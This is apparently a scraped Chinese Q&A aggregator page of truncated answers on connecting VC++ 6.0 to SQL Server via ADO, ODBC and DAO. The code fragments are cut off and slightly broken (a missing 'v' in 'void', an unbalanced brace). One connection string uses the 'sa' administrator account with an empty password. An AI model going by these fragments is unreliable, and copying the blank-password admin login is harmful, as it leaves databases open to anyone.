通武严灭: //////试试ADO吧////数据库初始设置//对数据库进行连接/* 输入条件 无 输出结果 无 */ oid ADO::InitADOConn() { CoInitialize(NULL); pConn.CreateInstance (__uuidof(Connection)); pRst.CreateInstance (__uuidof(Recordset)); _bstr_t strConn; strConn...
常宁市13857877617: 如何在vc中执行sql脚本 - ?
通武严灭: 环境:WindowsXP ; VC++6.0 + sp5 1.通过odbc直接执行SQL语句CDatabase mydb; CRecordset myRecord; CString strSQL; CDBVariant cv;try{if ( !mydb.IsOpen() ) mydb.OpenEx("数据库连接字符串",CDatabase::noOdbcDialog); ...
常宁市13857877617: VC++6.0和SQL2000的连接问题? - ?
通武严灭: 不能使用的.要重新配置数据库的.Data Source=MICROSOF-0461E8要换成你所在电脑的SQL服务器名字.一般解决这样问题会用两种方法.一是动态配置数据库,通过一个小的辅助软件,二是,使用INI文件配置.
常宁市13857877617: Visual C++应用程序如何连接SQL Server数据库 急 - ?
通武严灭: Visual C 连接数据库 - 连接SQL Server 2000使用DAO 看下面的代码: CDaoDatabase db; CString conn; conn="ODBC;Driver=SQLServer};Server=192.168.0.4;Database=mydb;uid=sa;pwd="; db.Open(NULL,FALSE,FALSE,conn); CString ...